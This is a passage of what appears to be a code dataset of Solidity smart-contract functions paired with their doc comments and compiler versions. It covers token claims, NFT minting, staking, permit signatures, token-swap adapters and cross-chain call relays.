* @param amount The amount of the claim being made.\n * @param delegate The address the tokenholder wants to delegate their votes to.\n * @param merkleProof A merkle proof proving the claim is valid.\n */", "function_code": "function claimTokens(uint256 amount, address delegate, bytes32[] calldata merkleProof) external {\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender, amount));\n (bool valid, uint256 index) = MerkleProof.verify(merkleProof, merkleRoot, leaf);\n require(valid, \"ENS: Valid proof required.\");\n require(!isClaimed(index), \"ENS: Tokens already claimed.\");\n \n claimed.set(index);\n emit Claim(msg.sender, amount);\n\n _delegate(msg.sender, delegate);\n _transfer(address(this), msg.sender, amount);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Mints new tokens. Can only be executed every `minimumMintInterval`, by the owner, and cannot\n * exceed `mintCap / 10000` fraction of the current total supply.\n * @param dest The address to mint the new tokens to.\n * @param amount The quantity of tokens to mint.\n */", "function_code": "function mint(address dest, uint256 amount) external onlyOwner {\n require(amount <= (totalSupply() * mintCap) / 10000, \"ENS: Mint exceeds maximum amount\");\n require(block.timestamp >= nextMint, \"ENS: Cannot mint yet\");\n\n nextMint = block.timestamp + minimumMintInterval;\n _mint(dest, amount);\n }", "version": "0.8.7"} {"comment": "/**\r\n * Set some Giraffes aside\r\n */", "function_code": "function reserveGiraffes(uint256 numberOfTokens) public onlyOwner {\r\n uint256 i;\r\n for (i = 0; i < numberOfTokens; i++) {\r\n uint256 index = totalSupply();\r\n if (index < maxGiraffes) {\r\n setGiraffePortionTimesHundredByIndex(index, 0);\r\n _safeMint(msg.sender, index);\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Mints Giraffes\r\n */", "function_code": "function mintGiraffe(uint256 numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint a Giraffe\");\r\n require(\r\n numberOfTokens <= maxGiraffesPurchase,\r\n \"Can only mint 10 Giraffes at a time\"\r\n );\r\n require(\r\n totalSupply().add(numberOfTokens) <= maxGiraffes,\r\n \"Purchase would exceed max supply of Giraffes\"\r\n );\r\n require(\r\n giraffePrice.mul(numberOfTokens) <= msg.value,\r\n \"Ether value sent is not correct\"\r\n );\r\n\r\n for (uint256 i = 0; i < numberOfTokens; i++) {\r\n uint256 index = totalSupply();\r\n if (index < maxGiraffes) {\r\n setGiraffePortionTimesHundredByIndex(index, 0);\r\n _safeMint(msg.sender, index);\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "// Function to use for staking with an event where cardId and cardAmount are fixed", "function_code": "function stake(uint256 _eventId) public {\r\n StakingEvent storage _event = stakingEvents[_eventId];\r\n UserInfo storage _userInfo = userInfo[msg.sender][_eventId];\r\n\r\n require(block.number <= _event.blockEventClose, \"Event is closed\");\r\n require(_userInfo.isCompleted == false, \"Address already completed event\");\r\n require(_userInfo.blockEnd == 0, \"Address already staked for this event\");\r\n\r\n pepemonFactory.safeBatchTransferFrom(msg.sender, address(this), _event.cardIdList, _event.cardAmountList, \"\");\r\n\r\n // Save list cards staked in storage\r\n for (uint256 i = 0; i < _event.cardIdList.length; i++) {\r\n uint256 cardId = _event.cardIdList[i];\r\n uint256 amount = _event.cardAmountList[i];\r\n\r\n cardsStaked[msg.sender][_eventId][cardId] = amount;\r\n }\r\n\r\n _userInfo.blockEnd = block.number.add(_event.blockStakeLength);\r\n\r\n emit StakingEventEntered(msg.sender, _eventId);\r\n }", "version": "0.6.6"} {"comment": "/*///////////////////////////////////////////////////////////////\r\n EIP-2612 LOGIC\r\n //////////////////////////////////////////////////////////////*/", "function_code": "function permit(\r\n address owner,\r\n address spender,\r\n uint256 value,\r\n uint256 deadline,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) public virtual {\r\n require(deadline >= block.timestamp, \"PERMIT_DEADLINE_EXPIRED\");\r\n\r\n // Unchecked because the only math done is incrementing\r\n // the owner's nonce which cannot realistically overflow.\r\n unchecked {\r\n bytes32 digest = keccak256(\r\n abi.encodePacked(\r\n \"\\x19\\x01\",\r\n DOMAIN_SEPARATOR(),\r\n keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\r\n )\r\n );\r\n\r\n address recoveredAddress = ecrecover(digest, v, r, s);\r\n\r\n require(recoveredAddress != address(0) && recoveredAddress == owner, \"INVALID_SIGNER\");\r\n\r\n allowance[recoveredAddress][spender] = value;\r\n }\r\n\r\n emit Approval(owner, spender, value);\r\n }", "version": "0.8.7"} {"comment": "// Claim staked cards + reward", "function_code": "function claim(uint256 _eventId) public {\r\n StakingEvent storage _event = stakingEvents[_eventId];\r\n UserInfo storage _userInfo = userInfo[msg.sender][_eventId];\r\n\r\n require(block.number >= _userInfo.blockEnd, \"BlockEnd not reached\");\r\n\r\n _userInfo.isCompleted = true;\r\n pepemonFactory.mint(msg.sender, _event.cardRewardId, 1, \"\");\r\n _withdrawCardsStaked(_eventId, true);\r\n\r\n emit StakingEventCompleted(msg.sender, _eventId);\r\n }", "version": "0.6.6"} {"comment": "/*///////////////////////////////////////////////////////////////\r\n ETH OPERATIONS\r\n //////////////////////////////////////////////////////////////*/", "function_code": "function safeTransferETH(address to, uint256 amount) internal {\r\n bool callStatus;\r\n\r\n assembly {\r\n // Transfer the ETH and store if it succeeded or not.\r\n callStatus := call(gas(), to, amount, 0, 0, 0, 0)\r\n }\r\n\r\n require(callStatus, \"ETH_TRANSFER_FAILED\");\r\n }", "version": "0.8.7"} {"comment": "/*///////////////////////////////////////////////////////////////\r\n ERC20 OPERATIONS\r\n //////////////////////////////////////////////////////////////*/", "function_code": "function safeTransferFrom(\r\n ERC20 token,\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal {\r\n bool callStatus;\r\n\r\n assembly {\r\n // Get a pointer to some free memory.\r\n let freeMemoryPointer := mload(0x40)\r\n\r\n // Write the abi-encoded calldata to memory piece by piece:\r\n mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\r\n mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"from\" argument.\r\n mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\r\n mstore(add(freeMemoryPointer, 68), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\r\n\r\n // Call the token and store if it succeeded or not.\r\n // We use 100 because the calldata length is 4 + 32 * 3.\r\n callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)\r\n }\r\n\r\n require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FROM_FAILED\");\r\n }", "version": "0.8.7"} {"comment": "/*///////////////////////////////////////////////////////////////\r\n INTERNAL HELPER LOGIC\r\n //////////////////////////////////////////////////////////////*/", "function_code": "function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {\r\n assembly {\r\n // Get how many bytes the call returned.\r\n let returnDataSize := returndatasize()\r\n\r\n // If the call reverted:\r\n if iszero(callStatus) {\r\n // Copy the revert message into memory.\r\n returndatacopy(0, 0, returnDataSize)\r\n\r\n // Revert with the same message.\r\n revert(0, returnDataSize)\r\n }\r\n\r\n switch returnDataSize\r\n case 32 {\r\n // Copy the return data into memory.\r\n returndatacopy(0, 0, returnDataSize)\r\n\r\n // Set success to whether it returned true.\r\n success := iszero(iszero(mload(0)))\r\n }\r\n case 0 {\r\n // There was no return data.\r\n success := 1\r\n }\r\n default {\r\n // It returned some malformed input.\r\n success := 0\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Withdraw staked cards, but reset event progress", "function_code": "function cancel(uint256 _eventId) public {\r\n UserInfo storage _userInfo = userInfo[msg.sender][_eventId];\r\n\r\n require(_userInfo.isCompleted == false, \"Address already completed event\");\r\n require(_userInfo.blockEnd != 0, \"Address is not staked for this event\");\r\n\r\n delete _userInfo.isCompleted;\r\n delete _userInfo.blockEnd;\r\n\r\n _withdrawCardsStaked(_eventId, false);\r\n\r\n emit StakingEventCancelled(msg.sender, _eventId);\r\n }", "version": "0.6.6"} {"comment": "/// @notice Update merkle root and rate\n/// @param _merkleRoot root of merkle tree\n/// @param _rate price of pCNV in DAI/FRAX", "function_code": "function setRound(\r\n bytes32 _merkleRoot,\r\n uint256 _rate\r\n ) external onlyConcave {\r\n // push new root to array of all roots - for viewing\r\n roots.push(_merkleRoot);\r\n // update merkle root\r\n merkleRoot = _merkleRoot;\r\n // update rate\r\n rate = _rate;\r\n\r\n emit NewRound(merkleRoot,rate);\r\n }", "version": "0.8.7"} {"comment": "/// @notice mint pCNV by providing merkle proof and depositing DAI; uses EIP-2612 permit to save a transaction\n/// @param to whitelisted address pCNV will be minted to\n/// @param tokenIn address of tokenIn user wishes to deposit (DAI)\n/// @param maxAmount max amount of DAI sender can deposit for pCNV, to verify merkle proof\n/// @param amountIn amount of DAI sender wishes to deposit for pCNV\n/// @param proof merkle proof to prove \"to\" and \"maxAmount\" are in merkle tree\n/// @param permitDeadline EIP-2612 : time when permit is no longer valid\n/// @param v EIP-2612 : part of EIP-2612 signature\n/// @param r EIP-2612 : part of EIP-2612 signature\n/// @param s EIP-2612 : part of EIP-2612 signature", "function_code": "function mintWithPermit(\r\n address to,\r\n address tokenIn,\r\n uint256 maxAmount,\r\n uint256 amountIn,\r\n bytes32[] calldata proof,\r\n uint256 permitDeadline,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external returns (uint256 amountOut) {\r\n // Make sure payment tokenIn is DAI\r\n require(tokenIn == address(DAI), TOKEN_IN_ERROR);\r\n // Approve tokens for spender - https://eips.ethereum.org/EIPS/eip-2612\r\n ERC20(tokenIn).permit(msg.sender, address(this), amountIn, permitDeadline, v, r, s);\r\n // allow sender to mint for \"to\"\r\n return _purchase(msg.sender, to, tokenIn, maxAmount, amountIn, proof);\r\n }", "version": "0.8.7"} {"comment": "// Keeping some NFTs aside", "function_code": "function reserveNft(uint256 reserve) public onlyOwner {\r\n uint supply = totalSupply();\r\n uint counter;\r\n for (counter = 0; counter < reserve; counter++) {\r\n uint reserved_id = supply + counter;\r\n _safeMint(msg.sender, reserved_id);\r\n // string memory tokenURI = string(abi.encodePacked(tokenURI(reserved_id), \".json\"));\r\n }\r\n }", "version": "0.6.6"} {"comment": "// The main minting function", "function_code": "function mint(uint256 amount) public payable {\r\n require(isSaleActive, \"Sale must be active to mint NFT\");\r\n require(amount <= MAX_NFT, \"Amount must be less than MAX_NFT\");\r\n require(totalSupply().add(amount) <= MAX_NFT, \"Total supply + amount must be less than MAX_NFT\");\r\n require(nftPrice.mul(amount) == msg.value, \"Ether value sent is not correct\");\r\n require(amount <= maxNftPurchase, \"Can't mint more than 50\");\r\n\r\n for(uint counter = 0; counter < amount; counter++) {\r\n uint mintIndex = totalSupply();\r\n if(totalSupply() < MAX_NFT) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n // If we haven't set the starting index and it is either\r\n // 1. the last saleable token or\r\n // 2. the first token to be sold after the end of pre-sale\r\n // set the starting index block\r\n if(startingIndexBlock == 0 && (totalSupply() == MAX_NFT || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// Withdraw a bid that was overbid.", "function_code": "function withdraw() public {\r\n uint amount = pendingReturns[msg.sender];\r\n require (amount > 0);\r\n\r\n // It is important to set this to zero because the recipient\r\n // can call this function again as part of the receiving call\r\n // before `send` returns.\r\n\r\n totalReturns -= amount;\r\n pendingReturns[msg.sender] -= amount;\r\n\r\n msg.sender.transfer(amount);\r\n emit Withdraw(msg.sender, amount);\r\n }", "version": "0.4.21"} {"comment": "// pair , 100", "function_code": "function _reflect(address account, uint256 amount) internal {\n require(account != address(0), \"reflect from the zero address\");\n\n // from(pair) , to(this) , 100DHOld \n _rawTransfer(account, address(this), amount);\n totalReflected += amount;\n emit Transfer(account, address(this), amount);\n }", "version": "0.8.0"} {"comment": "// modified from OpenZeppelin ERC20", "function_code": "function _rawTransfer(address sender, address recipient, uint256 amount) internal {\n require(sender != address(0), \"transfer from the zero address\");\n require(recipient != address(0), \"transfer to the zero address\");\n\n uint256 senderBalance = balanceOf(sender);\n require(senderBalance >= amount, \"transfer amount exceeds balance\");\n unchecked {\n _subtractBalance(sender, amount);\n }\n _addBalance(recipient, amount);\n\n emit Transfer(sender, recipient, amount);\n }", "version": "0.8.0"} {"comment": "// function to claim all the tokens locked for a user, after the locking period", "function_code": "function claimAllForUser(uint256 r, address user) public {\n require(!emergencyFlag, \"Emergency mode, cannot access this function\");\n require(r>latestCounterByUser[user], \"Increase right header, already claimed till this\");\n require(r<=lockInfoByUser[user].length, \"Decrease right header, it exceeds total length\");\n LockInfo[] memory lockInfoArrayForUser = lockInfoByUser[user];\n uint256 totalTransferableAmount = 0;\n uint i;\n for (i=latestCounterByUser[user]; i= (lockInfoArrayForUser[i]._timestamp.add(lockingPeriodHere))){\n totalTransferableAmount = totalTransferableAmount.add(lockInfoArrayForUser[i]._amount);\n unclaimedTokensByUser[user] = unclaimedTokensByUser[user].sub(lockInfoArrayForUser[i]._amount);\n latestCounterByUser[user] = i.add(1);\n } else {\n break;\n }\n }\n boneToken.transfer(user, totalTransferableAmount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Destroys `amount` tokens from `account`, reducing the\r\n * total supply.\r\n *\r\n * Emits a {Transfer} event with `to` set to the zero address.\r\n *\r\n */", "function_code": "function _burn(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: burn from the zero address disallowed\");\r\n _beforeTokenTransfer(account, address(0), amount);\r\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(amount);\r\n emit Transfer(account, address(0), amount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev get expected return and conversion rate", "function_code": "function getExpectedReturn(GetExpectedReturnParams calldata params)\n external\n view\n override\n onlyProxyContract\n returns (uint256 destAmount)\n {\n require(params.tradePath.length == 2, \"kyber_invalidTradepath\");\n uint256 expectedRate = kyberProxy.getExpectedRateAfterFee(\n IERC20Ext(params.tradePath[0]),\n IERC20Ext(params.tradePath[1]),\n params.srcAmount,\n params.feeBps,\n params.extraArgs\n );\n destAmount = calcDestAmount(\n IERC20Ext(params.tradePath[0]),\n IERC20Ext(params.tradePath[1]),\n params.srcAmount,\n expectedRate\n );\n }", "version": "0.7.6"} {"comment": "/// @dev swap token\n/// @notice for some tokens that are paying fee, for example: DGX\n/// contract will trade with received src token amount (after minus fee)\n/// for UniSwap, fee will be taken in src token", "function_code": "function swap(SwapParams calldata params)\n external\n payable\n override\n onlyProxyContract\n returns (uint256 destAmount)\n {\n require(params.tradePath.length == 2, \"kyber_invalidTradepath\");\n\n safeApproveAllowance(address(kyberProxy), IERC20Ext(params.tradePath[0]));\n\n uint256 destBalanceBefore = getBalance(IERC20Ext(params.tradePath[1]), params.recipient);\n uint256 callValue = params.tradePath[0] == address(ETH_TOKEN_ADDRESS)\n ? params.srcAmount\n : 0;\n kyberProxy.tradeWithHintAndFee{value: callValue}(\n IERC20Ext(params.tradePath[0]),\n params.srcAmount,\n IERC20Ext(params.tradePath[1]),\n payable(params.recipient),\n MAX_AMOUNT,\n params.minDestAmount,\n params.feeReceiver,\n params.feeBps,\n params.extraArgs\n );\n destAmount = getBalance(IERC20Ext(params.tradePath[1]), params.recipient).sub(\n destBalanceBefore\n );\n }", "version": "0.7.6"} {"comment": "// A function to get key info for investors.", "function_code": "function getInfo() public view returns(uint Deposit, uint Withdrawn, uint AmountToWithdraw) {\r\n // 1) Amount of invested money;\r\n Deposit = deposit[msg.sender];\r\n // 2) Amount of withdrawn money;\r\n Withdrawn = withdrawn[msg.sender];\r\n // 3) Amount of money which is available to withdraw;\r\n // Formula without SafeMath: ((Current Time - Reference Point) - ((Current Time - Reference Point) % 1 day)) * (Deposit * 3% / 100%) / 1 day\r\n AmountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].mul(3).div(100)).div(1 days);\r\n }", "version": "0.4.24"} {"comment": "// A function to get available dividends of an investor.", "function_code": "function withdraw() public {\r\n // Amount of money which is available to withdraw.\r\n // Formula without SafeMath: ((Current Time - Reference Point) - ((Current Time - Reference Point) % 1 day)) * (Deposit * 3% / 100%) / 1 day\r\n uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].mul(3).div(100)).div(1 days);\r\n // Reverting the whole function for investors who got nothing to withdraw yet.\r\n if (amountToWithdraw == 0) {\r\n revert();\r\n }\r\n // Increasing amount withdrawn by the investor.\r\n withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw);\r\n // Updating the reference point.\r\n // Formula without SafeMath: Current Time - ((Current Time - Previous Reference Point) % 1 day)\r\n lastTimeWithdraw[msg.sender] = block.timestamp.sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days));\r\n // Transferring the available dividends to an investor.\r\n msg.sender.transfer(amountToWithdraw);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev converts all incoming ethereum to keys.\r\n * -functionhash- 0x8f38f309 (using ID for affiliate)\r\n * -functionhash- 0x98a0871d (using address for affiliate)\r\n * -functionhash- 0xa65b37a1 (using name for affiliate)\r\n * @param _affCode the ID/address/name of the player who gets the affiliate fee\r\n */", "function_code": "function buyXid(uint256 _affCode)\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(msg.value)\r\n public\r\n payable\r\n {\r\n // set up our tx event data and determine if player is new or not\r\n F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);\r\n\r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n\r\n // manage affiliate residuals\r\n // if no affiliate code was given or player tried to use their own, lolz\r\n if (_affCode == 0 || _affCode == _pID)\r\n {\r\n // use last stored affiliate code\r\n _affCode = plyr_[_pID].laff;\r\n\r\n // if affiliate code was given & its not the same as previously stored\r\n } else if (_affCode != plyr_[_pID].laff) {\r\n // update last affiliate\r\n plyr_[_pID].laff = _affCode;\r\n }\r\n\r\n // buy core\r\n buyCore(_pID, _affCode, _eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * setAdmin(admin)\r\n *\r\n * Change the admin of this contract. This should be used shortly after\r\n * deployment and live testing to switch to a multi-sig contract.\r\n */", "function_code": "function setAdmin(address admin) {\r\n if (msg.sender != _admin) { throw; }\r\n\r\n adminChanged(_admin, admin);\r\n _admin = admin;\r\n\r\n // Give the admin access to the reverse entry\r\n ReverseRegistrar(_ens.owner(RR_NODE)).claim(admin);\r\n\r\n // Point the resolved addr to the new admin\r\n Resolver(_ens.resolver(_nodeHash)).setAddr(_nodeHash, _admin);\r\n }", "version": "0.4.10"} {"comment": "/**\r\n * config()\r\n *\r\n * Get the configuration of this registrar.\r\n */", "function_code": "function config() constant returns (address ens, bytes32 nodeHash, address admin, uint256 fee, address defaultResolver) {\r\n ens = _ens;\r\n nodeHash = _nodeHash;\r\n admin = _admin;\r\n fee = _fee;\r\n defaultResolver = _defaultResolver;\r\n }", "version": "0.4.10"} {"comment": "/**\n * @notice buy Land with SAND using the merkle proof associated with it\n * @param buyer address that perform the payment\n * @param to address that will own the purchased Land\n * @param reserved the reserved address (if any)\n * @param x x coordinate of the Land\n * @param y y coordinate of the Land\n * @param size size of the pack of Land to purchase\n * @param priceInSand price in SAND to purchase that Land\n * @param proof merkleProof for that particular Land\n * @return The address of the operator\n */", "function_code": "function buyLandWithSand(\n address buyer,\n address to,\n address reserved,\n uint256 x,\n uint256 y,\n uint256 size,\n uint256 priceInSand,\n bytes32 salt,\n bytes32[] calldata proof\n ) external {\n require(_sandEnabled, \"sand payments not enabled\");\n _checkValidity(buyer, reserved, x, y, size, priceInSand, salt, proof);\n require(\n _sand.transferFrom(\n buyer,\n _wallet,\n priceInSand\n ),\n \"sand token transfer failed\"\n );\n _mint(buyer, to, x, y, size, priceInSand, address(_sand), priceInSand);\n }", "version": "0.5.9"} {"comment": "/**\r\n This function detects whether a transfer should be restricted and not allowed.\r\n If the function returns SUCCESS_CODE (0) then it should be allowed.\r\n */", "function_code": "function detectTransferRestriction (address from, address to, uint256)\r\n public\r\n view\r\n returns (uint8)\r\n { \r\n // If the restrictions have been disabled by the owner, then just return success\r\n // Logic defined in Restrictable parent class\r\n if(!isRestrictionEnabled()) {\r\n return SUCCESS_CODE;\r\n }\r\n\r\n // If the contract owner is transferring, then ignore reistrictions \r\n if(from == owner()) {\r\n return SUCCESS_CODE;\r\n }\r\n\r\n // Restrictions are enabled, so verify the whitelist config allows the transfer.\r\n // Logic defined in Whitelistable parent class\r\n if(!checkWhitelistAllowed(from, to)) {\r\n return FAILURE_NON_WHITELIST;\r\n }\r\n\r\n // If no restrictions were triggered return success\r\n return SUCCESS_CODE;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n This function allows a wallet or other client to get a human readable string to show\r\n a user if a transfer was restricted. It should return enough information for the user\r\n to know why it failed.\r\n */", "function_code": "function messageForTransferRestriction (uint8 restrictionCode)\r\n public\r\n view\r\n returns (string memory)\r\n {\r\n if (restrictionCode == SUCCESS_CODE) {\r\n return SUCCESS_MESSAGE;\r\n }\r\n\r\n if (restrictionCode == FAILURE_NON_WHITELIST) {\r\n return FAILURE_NON_WHITELIST_MESSAGE;\r\n }\r\n\r\n // An unknown error code was passed in.\r\n return UNKNOWN_ERROR;\r\n }", "version": "0.5.0"} {"comment": "// for mint to skakeholders from staking contract", "function_code": "function mint(address to, uint256 amount) external onlyAllowed {\r\n require(mintAble, \"Mint disabled!\");\r\n if (totalSupply() + amount > 91250000 * 10 ** 18){\r\n _mint(to, 91250000 * 10 ** 18 - (totalSupply()));\r\n mintAble = false;\r\n } else {\r\n _mint(to, amount);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\n @notice Zap out in to a single token with permit\n @param fromVault Vault from which to remove liquidity\n @param amountIn Quantity of vault tokens to remove\n @param toToken Address of desired token\n @param isAaveUnderlying True if vault contains aave token\n @param minToTokens Minimum quantity of tokens to receive, reverts otherwise\n @param permitSig Encoded permit hash, which contains r,s,v values\n @param swapTarget Execution targets for swap or Zap\n @param swapData DEX or Zap data\n @param affiliate Affiliate address\n @param shouldSellEntireBalance If True transfers entrire allowable amount from another contract\n @return tokensReceived Quantity of tokens or ETH received\n */", "function_code": "function ZapOutWithPermit(\n address fromVault,\n uint256 amountIn,\n address toToken,\n bool isAaveUnderlying,\n uint256 minToTokens,\n bytes calldata permitSig,\n address swapTarget,\n bytes calldata swapData,\n address affiliate,\n bool shouldSellEntireBalance\n ) external returns (uint256 tokensReceived) {\n // permit\n _permit(fromVault, amountIn, permitSig);\n\n return\n ZapOut(\n fromVault,\n amountIn,\n toToken,\n isAaveUnderlying,\n minToTokens,\n swapTarget,\n swapData,\n affiliate,\n shouldSellEntireBalance\n );\n }", "version": "0.8.4"} {"comment": "/**\n @notice Utility function to determine the quantity of underlying tokens removed from vault\n @param fromVault Yearn vault from which to remove liquidity\n @param liquidity Quantity of vault tokens to remove\n @return Quantity of underlying LP or token removed\n */", "function_code": "function removeLiquidityReturn(address fromVault, uint256 liquidity)\n external\n view\n returns (uint256)\n {\n IYVault vault = IYVault(fromVault);\n\n address[] memory V1Vaults = V1Registry.getVaults();\n\n for (uint256 i = 0; i < V1Registry.getVaultsLength(); i++) {\n if (V1Vaults[i] == fromVault)\n return (liquidity * (vault.getPricePerFullShare())) / (10**18);\n }\n return (liquidity * (vault.pricePerShare())) / (10**vault.decimals());\n }", "version": "0.8.4"} {"comment": "/**\r\n @notice Submit a request for a cross chain interaction\r\n @param _to The target to interact with on `_toChainID`\r\n @param _data The calldata supplied for the interaction with `_to`\r\n @param _fallback The address to call back on the originating chain\r\n if the cross chain interaction fails\r\n @param _toChainID The target chain id to interact with\r\n */", "function_code": "function anyCall(\r\n address _to,\r\n bytes calldata _data,\r\n address _fallback,\r\n uint256 _toChainID\r\n ) external {\r\n require(!blacklist[msg.sender]); // dev: caller is blacklisted\r\n require(whitelist[msg.sender][_to][_toChainID]); // dev: request denied\r\n\r\n emit LogAnyCall(msg.sender, _to, _data, _fallback, _toChainID);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Execute a cross chain interaction\r\n @dev Only callable by the MPC\r\n @param _from The request originator\r\n @param _to The cross chain interaction target\r\n @param _data The calldata supplied for interacting with target\r\n @param _fallback The address to call on `_fromChainID` if the interaction fails\r\n @param _fromChainID The originating chain id\r\n */", "function_code": "function anyExec(\r\n address _from,\r\n address _to,\r\n bytes calldata _data,\r\n address _fallback,\r\n uint256 _fromChainID\r\n ) external charge(_from) onlyMPC {\r\n context = Context({sender: _from, fromChainID: _fromChainID});\r\n (bool success, bytes memory result) = _to.call(_data);\r\n context = Context({sender: address(0), fromChainID: 0});\r\n\r\n emit LogAnyExec(_from, _to, _data, success, result, _fallback, _fromChainID);\r\n\r\n // Call the fallback on the originating chain with the call information (to, data)\r\n // _from, _fromChainID, _toChainID can all be identified via contextual info\r\n if (!success && _fallback != address(0)) {\r\n emit LogAnyCall(\r\n _from,\r\n _fallback,\r\n abi.encodeWithSignature(\"anyFallback(address,bytes)\", _to, _data),\r\n address(0),\r\n _fromChainID\r\n );\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * public mint nfts (no signature required)\r\n */", "function_code": "function mintNFT(uint256 numberOfNfts) public payable nonReentrant {\r\n require(!salePaused && enablePublicSale, \"Sale paused or public sale disabled\");\r\n require(block.timestamp > SALE_START_TIMESTAMP, \"Sale has not started\");\r\n require(block.timestamp < SALE_END_TIMESTAMP, \"Sale has ended\");\r\n uint256 s = _owners.length;\r\n require(numberOfNfts > 0 && numberOfNfts <= maxPerTx, \"Invalid numberOfNfts\");\r\n require((s + numberOfNfts) <= (maxSupply - reserved), \"Exceeds Max Supply\");\r\n require(msg.value >= price * numberOfNfts, \"Not Enough ETH\");\r\n require(purchases[msg.sender] + numberOfNfts <= allowancePerWallet, \"Exceeds Allocation\");\r\n purchases[msg.sender] += numberOfNfts;\r\n for (uint256 i = 0; i < numberOfNfts; ++i) {\r\n _mint(msg.sender, s + i);\r\n }\r\n delete s;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * mint nfts (signature required)\r\n */", "function_code": "function allowlistMintNFT(uint256 numberOfNfts, bytes memory signature) public payable nonReentrant {\r\n require(!salePaused, \"Sale Paused\");\r\n require(isAllowlisted(msg.sender, signature), \"Address not allowlisted\");\r\n uint256 allowance = allowancePerWallet;\r\n // ambassador minting\r\n if(ambassadorMode) {\r\n allowance = ambassadorAllowance;\r\n }\r\n // presale minting\r\n else {\r\n require(block.timestamp > SALE_START_TIMESTAMP, \"Sale has not started\");\r\n require(block.timestamp < SALE_END_TIMESTAMP, \"Sale has ended\");\r\n require(msg.value >= price * numberOfNfts, \"Not Enough ETH\");\r\n }\r\n uint256 s = _owners.length;\r\n require(numberOfNfts > 0 && numberOfNfts <= maxPerTx, \"Invalid numberOfNfts\");\r\n require((s + numberOfNfts) <= (maxSupply - reserved), \"Exceeds Max Supply\");\r\n require(purchases[msg.sender] + numberOfNfts <= allowance, \"Exceeds Allocation\");\r\n purchases[msg.sender] += numberOfNfts;\r\n for (uint256 i = 0; i < numberOfNfts; ++i) {\r\n _mint(msg.sender, s + i);\r\n }\r\n delete s;\r\n delete allowance;\r\n }", "version": "0.8.10"} {"comment": "/// @notice Function to create assetpack\n/// @param _packCover is cover image for asset pack\n/// @param _attributes is array of attributes\n/// @param _ipfsHashes is array containing all ipfsHashes for assets we'd like to put in pack\n/// @param _packPrice is price for total assetPack (every asset will have average price)\n/// @param _ipfsHash ipfs hash containing title and description in json format", "function_code": "function createAssetPack(\r\n bytes32 _packCover, \r\n uint[] _attributes, \r\n bytes32[] _ipfsHashes, \r\n uint _packPrice,\r\n string _ipfsHash) public {\r\n \r\n require(_ipfsHashes.length > 0);\r\n require(_ipfsHashes.length < 50);\r\n require(_attributes.length == _ipfsHashes.length);\r\n\r\n uint[] memory ids = new uint[](_ipfsHashes.length);\r\n\r\n for (uint i = 0; i < _ipfsHashes.length; i++) {\r\n ids[i] = createAsset(_attributes[i], _ipfsHashes[i], numberOfAssetPacks);\r\n }\r\n\r\n assetPacks.push(AssetPack({\r\n packCover: _packCover,\r\n assetIds: ids,\r\n creator: msg.sender,\r\n price: _packPrice,\r\n ipfsHash: _ipfsHash\r\n }));\r\n\r\n createdAssetPacks[msg.sender].push(numberOfAssetPacks);\r\n numberOfAssetPacks++;\r\n\r\n emit AssetPackCreated(numberOfAssetPacks-1, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Function which creates an asset\n/// @param _attributes is meta info for asset\n/// @param _ipfsHash is ipfsHash to image of asset", "function_code": "function createAsset(uint _attributes, bytes32 _ipfsHash, uint _packId) internal returns(uint) {\r\n uint id = numberOfAssets;\r\n\r\n require(isAttributesValid(_attributes), \"Attributes are not valid.\");\r\n\r\n assets.push(Asset({\r\n id : id,\r\n packId: _packId,\r\n attributes: _attributes,\r\n ipfsHash : _ipfsHash\r\n }));\r\n\r\n numberOfAssets++;\r\n\r\n return id;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Method to buy right to use specific asset pack\n/// @param _to is address of user who will get right on that asset pack\n/// @param _assetPackId is id of asset pack user is buying", "function_code": "function buyAssetPack(address _to, uint _assetPackId) public payable {\r\n require(!checkHasPermissionForPack(_to, _assetPackId));\r\n\r\n AssetPack 